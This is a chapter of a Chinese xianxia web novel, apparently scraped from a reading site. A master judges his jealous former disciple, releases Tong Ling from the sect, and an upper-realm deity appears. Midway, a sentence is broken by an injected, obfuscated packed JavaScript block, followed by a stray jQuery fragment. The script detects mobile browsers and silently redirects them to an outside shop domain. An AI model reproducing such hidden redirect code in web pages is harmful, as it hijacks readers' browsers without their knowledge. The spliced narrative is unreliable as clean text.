“至于功法。”承轩真人语气无波,“你属性与我主修功法不合,强传于你,只会害你根基。瞳铃纯水之体,与此法契合,故传给她。”
“术法亦然,不是不给你,是给了你也不能用。”
戌俸怔怔看着他,像是第一次听见这些解释,又像是早已听不进任何解释。
她恨的并非一卷功法一个术法,也非一座山峰。
她恨的是自己再不是唯一。
“峰顶有灵泉,小铃化形后灵力不稳,拨给她暂居,是为护她化形根基,并非将峰顶赠她。”
承轩真人看向戌俸,神色平静得近乎冷淡,“至于你那处分峰,宗门规矩在前,未出师者不得自掌一峰。峰中灵果、灵田、灵脉,多年来皆归你调度。你若觉得委屈,为何从未问过我?”
戌俸魂魄微颤,似想辩驳,却一时无言。
瞳铃忍无可忍,不顾还在流血的伤口,怒瞪戌俸,“你说师父什么都给我,可你自己心里真的一点数都没有?”
“师父每个月都过问你修炼进度,哪次不是耐心指导,有嫌过你天赋不好吗?”
“你是门派内人人称道的亲传弟子,不到千年便入化神。旁人羡你都来不及,你却偏要盯着我那一处灵泉山头。”
“你的分峰虽未正式划到名下,可这些年谁敢越过你取一枚灵果?师父哪里亏待过你?”
她说得急,牵动伤处,脸色白了一瞬,却仍死死盯着戌俸。
“我化形后,师父教我,是因我刚成人形,连经脉都未稳。你说师父偏心,可每个月对你的修炼指导断过吗?”
“你不是输给我,也不是被师父亏待,你只是看不得旁人分走一点目光。”
瞳铃声音低了下去,反倒比方才更冷,“戌俸,你不是嫉妒我天资,你是怕自己不再是唯一的弟子。”
戌俸魂魄猛地一晃,半透明的面容竟扭曲起来,“你胡说!”
“我有没有胡说,你自己清楚。”瞳铃咬牙道,“你若真有怨,大可去问师父,可你没有。你只敢趁师父闭关,断我消息,坏我名声,再逼我离山。”
“今日到了这一步,不是我逼你,是你自己的心魔把你推到这里。”
戌俸似被这句话刺中,魂魄明灭不定,几乎有散乱之势。
承轩真人闭了闭眼。再睁开时,眼中最后一点师徒温情也沉了下去。
“戌俸,你已入心魔而不自知。回宗门后,由刑堂验魂,按门规处置。”
他抬手一收,将戌俸魂魄收入魂囊,又以另一枚魂符护住欧信残魂。
“欧信受你误导,也有妄动杀心之过。回宗之后,一并审明。”
瞳铃张了张嘴,终究没有再说什么。
承轩真人看了她一眼,语气依旧板正,“小铃,她到底曾是你的师姐。”
瞳铃缩了缩脖子,低声道:“我知道了。”
她没再顶嘴,只低头看着地上的血迹,忽然觉得胸口压抑的难受。
恨是真的,难过也是真的。
旁边的拾叶和云渊对视一眼,拾叶传音道,“认识瞳铃十几年,还第一次见她这么乖巧。”
云渊眼含笑意,“承轩出了名的板正性子,想必对待弟子也很严厉。”
就是没想到一个这样的人,竟然有瞳铃这么跳脱的弟子,反差真不是一般的大。
承轩真人并未因自家事被旁人撞见而避讳,转头对拾叶道,“我出关后才知道,这十几年瞳铃一直生活在云梦里,承蒙照看。”
拾叶摇头,“瞳铃是凭自己的本事寻到云梦里的。我护她,是因她已是云梦里的人。”
“对对,我自己寻过去的。”瞳铃小鸡啄米。
只是她嘴上应得快,手却仍拽着承轩真人衣摆,指节发白,“师父,您来这里……”
承轩真人自然知道她担心什么,打断了她,“戌俸和欧信的魂灯熄灭,正好我在附近,就过查探。”
“师父,您不是刚出关吗,怎么还出了宗门在附近……”说到这,看着承轩真人有些无奈的目光,瞳铃明白了。
原来师父是出来寻自己的……
宗门里现在一定没有人说她好话,可师父还是出来寻自己了。
想到这,瞳铃眼眶更红,她忍了又忍才没继续流泪。
头上的手掌轻轻揉着她乱糟糟的头发,温和的声音也传来,“戌俸和欧信外出琉炎山寻子火,遇琉璃火爆发,肉身陨落。”
瞳铃猛的抬起头,不敢置信的看着承轩真人,“师父?”
承轩真人收回手,深深看了瞳铃一眼,“小铃,我没想到你在妖界会更快乐,半月派的身份如今成了你的负累。”
瞳铃双唇微颤。
承轩真人望着昆仑方向,语气略沉,“既如此,你便自行离去吧。”
他单手捏诀,瞳铃身上的弟子令牌飞出。
“今日起,你名册暂封,不再受半月派门规辖制。你仍是我承轩的徒弟,却不必再以半月派弟子的身份行走妖界。”
与此同时,瞳铃额间一抹淡蓝印记闪动几下后,化作灵光消散。
瞳铃再也忍不住,跪行两步紧紧抱着承轩真人的腿大哭起来。
“师父,师父,徒儿错了!”
“徒儿不该轻信他人,不该不收敛性子,不该不听你的话……呜呜呜……”
承轩真人春某看他,神色柔和,“那,要不要随我回去?”
瞳铃哭声一顿,下一刻,立马松手,头摇的出了幻影,“不了不了,妖界适合我,那个,以后我有空就回去看师父。”
承轩真人神色一僵。
拾叶偏过头,强忍笑,云渊的眼底也掠过一抹笑意。
承轩真人无奈地伸手点了点瞳铃额心,取出一枚白玉令,放入她掌心。
“出入昆仑的令牌,同时也可以传讯。若遇性命之危,捏碎它,我会知道。”
承轩真人又看向拾叶,“小铃性子跳脱,往后仍要劳烦。”
拾叶道:“她在云梦里,不算劳烦。”
承轩真人颔首,不再多言,化作遁光离去。
瞳铃一直望着那道白光消失,才慢慢把令牌收进怀里。她回头看向拾叶和云渊,勉强露出一个笑。
“那个,我其实没哭。”
她眨眨眼,嘿嘿一笑,而后眼皮一盖,直直仰面晕厥。
拾叶动作快,上前接住,免得瞳铃脑袋直接磕地。
瞳铃伤得不轻,妖力紊乱,腹间血迹还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866482|212149||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
未止住。拾叶自己也有伤,不宜再强行动用妖力,只能先将她抱稳。
“回云梦里。”
云渊却忽然顿住,“等我片刻。”
拾叶皱眉,“你伤势未稳。”
云渊垂眸看了她一眼,声音很轻,“正因伤势未稳,才不能白走这一趟。”
不等拾叶再拦,他已化作遁光,重新没入地底裂隙。
半柱香后,云渊回来。
他脸色比方才更白,袖口隐约有焦痕,掌心却托着一缕指节长短的琉璃火苗。火苗被数重金色符文锁住,五色光芒尚未完全分开,却已可见琉璃流彩。
拾叶神色微沉,“你不要命了?”
云渊将火苗收入特制瓷瓶,一连打了数道禁制,才道:“爆裂前留下过一道符锁。只是本火震荡,子火被削去大半,只剩这一缕。”
做完这些,云渊才对着拾叶一笑,“还好取得及时,不然这一缕也留不住。”
拾叶:“……”
云渊似知她要说什么,先一步道:“回去再训我。”
拾叶冷冷看他一眼,“你最好撑得到回去。”
云渊低笑一声,没再接话。
周遭狂躁的火属性能量骤然一滞,仿佛被某种绝对的法则之力强行压制。
一道年轻男声传来,半空中的空间轻微波动,一个身着劲装的青年跨步而出。
“这里没事了?”
这青年郎朗星目,身姿挺拔,十分英俊。
只是拾叶已经顾不上看他的模样多好看,而是被他身上散发的气息惊了惊。
这是个神君?!
青年四处看了看,没见异样,就闪身落在拾叶他们面前。
他面色冷然,眉心轻蹙,“妖界的?”
不怪他疑惑,就算是神,见到一个修妖的人类和一个道妖双修的人类,不了解妖界的话,都会搞不清这二位来历。
云渊倒是面不改色,他直接将自己和拾叶一起介绍了,顺带反问,“阁下是?”
青年点头,依旧冷眉冷眼,“上界,沐枫。初次来,想逛逛。”
“云梦里是吧?”
拾叶:“……”
“我就在你那落脚。”
拾叶:“……”
能不答应吗,这可是上界的神官,她亲姐姐都还为飞升上界而闭关呢。
和云渊对视一眼,见云渊无所谓的模样,拾叶也心中暗叹了口气,无奈的抬腿赶路。
云梦里空间波动,拾叶等人迈入其中。
因是带了外人,所以拾叶没有选择常用门,而是走了乔乔这片海棠林的出入口。
这边的海棠树林其实是乔乔布的大阵,若是沐枫有什么不对劲也好让乔乔将其困住,免得出什么意外措手不及。
踏入海棠林,只见乔乔正摊在树上,酒壶倾斜,将酒液往嘴里倒。
空间波动,他动作也没停。
直到沐枫一步踏入,乔乔手突的一颤,酒液直接倒在了脸上。
他猛的坐起,一双桃花眼瞪的滚圆,全然没了往日风流,露出一副见了鬼的样子。
沐枫目光如电,瞬间锁定了树上那道绯色身影。
他冷笑一声,“你可叫我好找。”